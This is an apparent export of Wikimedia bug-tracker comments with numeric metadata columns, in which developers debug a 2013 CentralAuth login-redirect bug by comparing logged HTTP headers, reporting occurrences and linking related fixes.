 Referer: https://it.wiktionary.org/wiki/Pagina_principale
 Cookie: centralauth_Session=95bfdea3c79796f1ff880e9e6422e722; centralauth_User=Bug+54119+test
 Connection: keep-alive

Response:

 HTTP/1.1 301 Moved Permanently
 Date: Tue, 17 Sep 2013 22:50:28 GMT
 Via: 1.1 sq63.wikimedia.org:3128 (squid/2.7.STABLE9), 1.0 amssq42.esams.wikimedia.org:3128 (squid/2.7.STABLE9), 1.0 amssq46.esams.wikimedia.org:80 (squid/2.7.STABLE9)
 X-Cache-Lookup: MISS from sq63.wikimedia.org:3128
 X-Cache-Lookup: MISS from amssq42.esams.wikimedia.org:3128
 X-Cache-Lookup: MISS from amssq46.esams.wikimedia.org:80
 Server: nginx/1.1.19
 X-Cache: MISS from sq63.wikimedia.org
 X-Cache: MISS from amssq42.esams.wikimedia.org
 X-Cache: MISS from amssq46.esams.wikimedia.org
 Content-Type: text/html; charset=iso-8859-1
 Location: http://wikimediafoundation.org/wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=enwikibooks&proto=https&type=1x1&from=itwiktionary
 Connection: keep-alive
 Content-Length: 352

There are several things about this response that are inconsistent with it being generated by CentralAuth:
* The status code is 301. CentralAuth generates 302 redirects.
* There are no Vary or X-Vary-Options or Cache-Control headers. CentralAuth's redirects go through OutputPage, which always adds these headers on WMF wikis.
* There is no X-Content-Type-Options header either. This header is added almost first thing in WebStart.php.
* The charset in the Content-Type is iso-8859-1. I'd have expected utf-8.
* The redirects generated by OutputPage have an empty body, so I'd expect to see Content-Length: 0, or Content-Length: 20 with Content-Encoding: gzip. But here we have Content-Length: 352 with no Content-Encoding.

I also note that other redirects in the log do have the ""signature"" of being generated by OutputPage.

For a similar request to https://login.wikimedia.org/wiki/Special:CentralAutoLogin/validateSession?token=4a8e68b9dc93ea933d38d6e83c01aba41bae8e5&wikiid=mediawikiwiki&type=1x1&from=itwiktionary&proto=https, the response was:

 HTTP/1.1 301 Moved Permanently
 Date: Tue, 17 Sep 2013 22:50:31 GMT
 Via: 1.1 sq63.wikimedia.org:3128 (squid/2.7.STABLE9), 1.0 amssq31.esams.wikimedia.org:3128 (squid/2.7.STABLE9), 1.0 amssq46.esams.wikimedia.org:80 (squid/2.7.STABLE9)
 X-Cache-Lookup: MISS from sq63.wikimedia.org:3128
 X-Cache-Lookup: MISS from amssq31.esams.wikimedia.org:3128
 X-Cache-Lookup: MISS from amssq46.esams.wikimedia.org:80
 Server: nginx/1.1.19
 X-Cache: MISS from sq63.wikimedia.org
 X-Cache: MISS from amssq31.esams.wikimedia.org
 X-Cache: MISS from amssq46.esams.wikimedia.org
 Content-Type: text/html; charset=iso-8859-1
 Location: http://wikimediafoundation.org/wiki/Special:CentralAutoLogin/validateSession?token=4a8e68b9dc93ea933d38d6e83c01aba41bae8e5&wikiid=mediawikiwiki&type=1x1&from=itwiktionary&proto=https
 Connection: keep-alive
 Content-Length: 406

For a similar request to https://login.wikimedia.org/wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=enwikivoyage&proto=https&type=1x1&from=itwiktionary:

 HTTP/1.1 301 Moved Permanently
 Date: Tue, 17 Sep 2013 22:50:33 GMT
 Via: 1.1 sq63.wikimedia.org:3128 (squid/2.7.STABLE9), 1.0 amssq37.esams.wikimedia.org:3128 (squid/2.7.STABLE9), 1.0 amssq45.esams.wikimedia.org:80 (squid/2.7.STABLE9)
 X-Cache-Lookup: MISS from sq63.wikimedia.org:3128
 X-Cache-Lookup: MISS from amssq37.esams.wikimedia.org:3128
 X-Cache-Lookup: MISS from amssq45.esams.wikimedia.org:80
 Server: nginx/1.1.19
 X-Cache: MISS from sq63.wikimedia.org
 X-Cache: MISS from amssq37.esams.wikimedia.org
 X-Cache: MISS from amssq45.esams.wikimedia.org
 Content-Type: text/html; charset=iso-8859-1
 Location: http://wikimediafoundation.org/wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=enwikivoyage&proto=https&type=1x1&from=itwiktionary
 Connection: keep-alive
 Content-Length: 353

I note that the Content-Lengths seem to correspond to the lengths of the Location, and in fact the differences in the lengths exactly match the differences in the lengths of the Location value after htmlspecialchars() or urlencode() is applied, which would be consistent with a non-empty body that includes a link to the redirect target (i.e. *not* the empty body generated by OutputPage).

All this makes me skeptical that this is being caused by something in CentralAuth. And given the lack of a X-Content-Type-Options header too, I suspect the problem is not even in MediaWiki.",,,1379533354,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-psc5gjs3ce7jb4yactck,task_subcomment,,True,c2,3,True,,,3,True,0.2222222222222222,0.1111111111111111,0.0,0.7777777777777778,0.2222222222222222,5.0,0.4444444444444444,0.0,0.0,0.0,1.2222222222222223,0.2222222222222222,0.0,0.1111111111111111,0.3333333333333333,0.7777777777777778,0.0,1.6666666666666667,8.0,0.1111111111111111,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,3.111111111111111,1.1111111111111112,0.1111111111111111,0.2222222222222222,0.0,0.2222222222222222,0.2222222222222222,0.5555555555555556,0.7777777777777778,0.3333333333333333,0.0,0.0,0.6666666666666666,0.4444444444444444,0.2222222222222222,0.0,0.2222222222222222,0.2222222222222222,11.222222222222221,0.2222222222222222,0.4444444444444444,0.1111111111111111,0.0,0.0,0.3333333333333333,0.1111111111111111,0.1111111111111111,0.2222222222222222,0.0,0.1111111111111111,0.0,0.0,0.0,0.0,0.2222222222222222,0.0,3.5555555555555554,2.0,22.666666666666668,0.4444444444444444,0.7777777777777778,4.888888888888889,0.0,0.0,0.0,0.0,1.7777777777777777,0.0,4.0,0.0,0.8888888888888888,8.0,20.22222222222222,0.0,0.2222222222222222,0.0,0.8888888888888888,0.0,0.4444444444444444,0.6666666666666666,0.1111111111111111,0.0,0.2222222222222222,0.0,0.3333333333333333,4.607929458209963,0.5812814918705522,"This coincidentally happened in one of the logs posted at bug 54119. The reconstructed headers appear to be as follows (note the ordering of the neaders is probably wrong, due to the way the log is structured).

Request to URL

 GET /wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=enwikibooks&proto=https&type=1x1&from=itwiktionary HTTP/1.1
 Accept-Encoding: gzip,deflate,sdch
 Host: login.wikimedia.org
 Accept-Language: en,en-US;q=0.8,it-IT;q=0.6,it;q=0.4
 User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko)  Chrome/27.0.1453.93 Safari/537.36
 Accept: */*
 Referer: URL
 Cookie: centralauth_Session=95bfdea3c79796f1ff880e9e6422e722; centralauth_User=Bug+54119+test
 Connection: keep-alive

Response:

 HTTP/1.1 301 Moved Permanently
 Date: Tue, 17 Sep 2013 22:50:28 GMT
 Via: 1.1 sq63.wikimedia.org:3128 (squid/2.7.STABLE9), 1.0 amssq42.esams.wikimedia.org:3128 (squid/2.7.STABLE9), 1.0 amssq46.esams.wikimedia.org:80 (squid/2.7.STABLE9)
 X-Cache-Lookup: MISS from sq63.wikimedia.org:3128
 X-Cache-Lookup: MISS from amssq42.esams.wikimedia.org:3128
 X-Cache-Lookup: MISS from amssq46.esams.wikimedia.org:80
 Server: nginx/1.1.19
 X-Cache: MISS from sq63.wikimedia.org
 X-Cache: MISS from amssq42.esams.wikimedia.org
 X-Cache: MISS from amssq46.esams.wikimedia.org
 Content-Type: text/html; charset=iso-8859-1
 Location: URL
 Connection: keep-alive
 Content-Length: 352

There are several things about this response that are inconsistent with it being generated by CentralAuth:
* The status code is 301. CentralAuth generates 302 redirects.
* There are no Vary or X-Vary-Options or Cache-Control headers. CentralAuth's redirects go through OutputPage, which always adds these headers on WMF wikis.
* There is no X-Content-Type-Options header either. This header is added almost first thing in WebStart.php.
* The charset in the Content-Type is iso-8859-1. I'd have expected utf-8.
* The redirects generated by OutputPage have an empty body, so I'd expect to see Content-Length: 0, or Content-Length: 20 with Content-Encoding: gzip. But here we have Content-Length: 352 with no Content-Encoding.

I also note that other redirects in the log do have the ""signature"" of being generated by OutputPage.

For a similar request to URL the response was:

 HTTP/1.1 301 Moved Permanently
 Date: Tue, 17 Sep 2013 22:50:31 GMT
 Via: 1.1 sq63.wikimedia.org:3128 (squid/2.7.STABLE9), 1.0 amssq31.esams.wikimedia.org:3128 (squid/2.7.STABLE9), 1.0 amssq46.esams.wikimedia.org:80 (squid/2.7.STABLE9)
 X-Cache-Lookup: MISS from sq63.wikimedia.org:3128
 X-Cache-Lookup: MISS from amssq31.esams.wikimedia.org:3128
 X-Cache-Lookup: MISS from amssq46.esams.wikimedia.org:80
 Server: nginx/1.1.19
 X-Cache: MISS from sq63.wikimedia.org
 X-Cache: MISS from amssq31.esams.wikimedia.org
 X-Cache: MISS from amssq46.esams.wikimedia.org
 Content-Type: text/html; charset=iso-8859-1
 Location: URL
 Connection: keep-alive
 Content-Length: 406

For a similar request to URL

 HTTP/1.1 301 Moved Permanently
 Date: Tue, 17 Sep 2013 22:50:33 GMT
 Via: 1.1 sq63.wikimedia.org:3128 (squid/2.7.STABLE9), 1.0 amssq37.esams.wikimedia.org:3128 (squid/2.7.STABLE9), 1.0 amssq45.esams.wikimedia.org:80 (squid/2.7.STABLE9)
 X-Cache-Lookup: MISS from sq63.wikimedia.org:3128
 X-Cache-Lookup: MISS from amssq37.esams.wikimedia.org:3128
 X-Cache-Lookup: MISS from amssq45.esams.wikimedia.org:80
 Server: nginx/1.1.19
 X-Cache: MISS from sq63.wikimedia.org
 X-Cache: MISS from amssq37.esams.wikimedia.org
 X-Cache: MISS from amssq45.esams.wikimedia.org
 Content-Type: text/html; charset=iso-8859-1
 Location: URL
 Connection: keep-alive
 Content-Length: 353

I note that the Content-Lengths seem to correspond to the lengths of the Location, and in fact the differences in the lengths exactly match the differences in the lengths of the Location value after htmlspecialchars() or urlencode() is applied, which would be consistent with a non-empty body that includes a link to the redirect target (i.e. *not* the empty body generated by OutputPage).

All this makes me skeptical that this is being caused by something in CentralAuth. And given the lack of a X-Content-Type-Options header too, I suspect the problem is not even in MediaWiki."
245803,login error - redirected to foundationwiki Special:CentralLogin/start,(Slightly related: bug 54195),,,1379420368,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-psc5gjs3ce7jb4yactck,task_subcomment,,True,c2,3,True,,,2,True,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,1.0,(Slightly related: bug 54195)
245798,login error - redirected to foundationwiki Special:CentralLogin/start,Just got this again.,,,1379364647,,PHID-USER-n6a5asuonlcdc2xmndl2,False,,,PHID-TASK-psc5gjs3ce7jb4yactck,task_subcomment,,True,c2,3,False,,,2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4,1.0,Just got this again.
245791,login error - redirected to foundationwiki Special:CentralLogin/start,*** Bug 53988 has been marked as a duplicate of this bug. ***,,,1378855884,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-psc5gjs3ce7jb4yactck,task_subcomment,,True,c2,3,True,,,1,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 53988 has been marked as a duplicate of this bug. ***
245785,login error - redirected to foundationwiki Special:CentralLogin/start,"This is still occurring sporadically. Increasing priority, adding Chris & RobLa.",,,1377736663,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-psc5gjs3ce7jb4yactck,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,29.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,5.0,0.9285714285714286,"This is still occurring sporadically. Increasing priority, adding Chris & RobLa."
245781,login error - redirected to foundationwiki Special:CentralLogin/start,"(In reply to comment #4)
> Can we get pageview stats for wmfwiki:Special:CentralLogin ?

Yes but
1) stats for foundationwiki are completely wrong, bug 49266;
2) I doubt anything would be included in the stats by design as they are wiki/* URLs (good) but with a parameter (bad):
so it's useless.

Anyway you can tets your luck with something like:
    curl http://dumps.wikimedia.org/other/pagecounts-raw/2013/2013-08/pagecounts-20130816-040010.gz | zcat | grep -E ""^www.f.+CentralLogin""",,,1376629966,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-psc5gjs3ce7jb4yactck,task_subcomment,,True,c2,2,True,,,-2,True,0.0,2.0,1.0,1.0,0.0,5.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,11.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,6.0,1.0,1.0,2.0,2.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,4.0,8.0,0.0,2.0,2.0,0.0,0.0,0.0,1.0,2.0,1.0,5.0,0.0,6.0,11.0,5.0,0.0,2.0,0.0,6.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,3.4523809523809526,0.8214285714285714,"(In reply to comment #4)
QUOTE

Yes but
1) stats for foundationwiki are completely wrong, bug 49266;
2) I doubt anything would be included in the stats by design as they are wiki/* URLs (good) but with a parameter (bad):
so it's useless.

Anyway you can tets your luck with something like:
    curl URL | zcat | grep -E ""^www.f.+CentralLogin"""
245776,login error - redirected to foundationwiki Special:CentralLogin/start,"I just experienced this as well, from Wikidata.",,,1376334491,,PHID-USER-kc6qx3zohjybu3nzffu3,False,,,PHID-TASK-psc5gjs3ce7jb4yactck,task_subcomment,,True,c2,2,False,,,-3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,30.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,"I just experienced this as well, from Wikidata."
245769,login error - redirected to foundationwiki Special:CentralLogin/start,"This happened to me today using an old WMF test account, thus bug 52568. My first login attempt showed the http://wikimediafoundation.org/wiki/Special:CentralLogin/start?token=xxx failure page as described here, my second login attempt worked but had an invisible 404 request to http://wikimediafoundation.org/wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=enwikisource&type=1x1&from=enwiki , and my third attempt didn't request anything from wikimediafoundation.org.

Mmm, cookies.",,,1375752135,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-psc5gjs3ce7jb4yactck,task_subcomment,,True,c2,2,False,,,-4,True,0.0,2.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,7.0,0.0,5.0,7.0,2.0,2.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,7.0,7.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,2.0,2.0,0.0,0.0,2.0,4.338983050847458,0.7796610169491526,"This happened to me today using an old WMF test account, thus bug 52568. My first login attempt showed the URL failure page as described here, my second login attempt worked but had an invisible 404 request to URL , and my third attempt didn't request anything from wikimediafoundation.org.

Mmm, cookies."
245762,login error - redirected to foundationwiki Special:CentralLogin/start,*** Bug 52568 has been marked as a duplicate of this bug. ***,,,1375751957,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-psc5gjs3ce7jb4yactck,task_subcomment,,True,c2,2,False,,,-4,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52568 has been marked as a duplicate of this bug. ***
245754,login error - redirected to foundationwiki Special:CentralLogin/start,Can we get pageview stats for wmfwiki:Special:CentralLogin ?,,,1375067704,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-psc5gjs3ce7jb4yactck,task_subcomment,,True,c2,1,True,,,-5,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,25.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.416666666666667,0.9166666666666666,Can we get pageview stats for wmfwiki:Special:CentralLogin ?
245747,login error - redirected to foundationwiki Special:CentralLogin/start,"During the testing period, this happened to me once. I figured it was cookie clashing or something.",,,1375066212,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-psc5gjs3ce7jb4yactck,task_subcomment,,True,c2,1,True,,,-5,True,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,10.0,5.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,10.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,10.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,4.15,0.95,"During the testing period, this happened to me once. I figured it was cookie clashing or something."
245741,login error - redirected to foundationwiki Special:CentralLogin/start,"After I pressed the back button and submitted the login again, I was logged in correctly.",,,1375066164,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-psc5gjs3ce7jb4yactck,task_subcomment,,True,c2,1,True,,,-5,True,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,17.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.111111111111111,0.8888888888888888,"After I pressed the back button and submitted the login again, I was logged in correctly."
245735,login error - redirected to foundationwiki Special:CentralLogin/start,"CentralAuth isn't installed on private and fishbowl wikis, so you shouldn't be redirected there as part of the CentralAuth login process...",,,1375065698,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-psc5gjs3ce7jb4yactck,task_subcomment,,True,c2,1,True,,,-5,True,0.0,0.0,0.0,8.0,8.0,4.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,12.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,8.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,16.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.76,0.92,"CentralAuth isn't installed on private and fishbowl wikis, so you shouldn't be redirected there as part of the CentralAuth login process..."
53988,login broken on beta labs,"As of 24 July, attempts to login all result in an error ""Login error
There was an unexpected error logging in. Please try again...""

http://en.wikipedia.beta.wmflabs.org/w/index.php?title=Special:UserLogin&action=submitlogin&type=login&returnto=Main+Page

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1374696600,1374759362.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-wsyuomejiy425vjowzno,task_description,resolved,True,c2,1,False,False,True,-5,True,2.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,10.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,16.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,2.0,2.0,0.0,0.0,10.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,3.7,0.68,"As of 24 July, attempts to login all result in an error ""Login error
There was an unexpected error logging in. Please try again...""

URL

--------------------------
**Version**: unspecified
**Severity**: major"
255169,login broken on beta labs,"Congratulations Max Semenik, cookie being stripped was the issue. Fixed by Mark Bergsma with https://gerrit.wikimedia.org/r/#/c/75842/

I managed to log in beta :]",,,1374759362,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-wsyuomejiy425vjowzno,task_subcomment,,True,c2,1,True,,,-5,True,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,16.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,32.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,16.0,24.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2,1.0,"Congratulations Max Semenik, cookie being stripped was the issue. Fixed by Mark Bergsma with URL

I managed to log in beta :]"
255164,login broken on beta labs,"Confirmed, $_COOKIE is empty.",,,1374704837,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-wsyuomejiy425vjowzno,task_subcomment,,True,c2,1,False,,,-5,True,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,1.0,"Confirmed, $_COOKIE is empty."
255158,login broken on beta labs,You probably want a RT to ping mark. He did some cookies related work on varnish during the afternoon.,,,1374702424,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-wsyuomejiy425vjowzno,task_subcomment,,True,c2,1,True,,,-5,True,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,14.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.0,0.9523809523809523,You probably want a RT to ping mark. He did some cookies related work on varnish during the afternoon.
255152,login broken on beta labs,"(In reply to comment #4)
> possibly caused by https://gerrit.wikimedia.org/r/#/c/75772/ ?

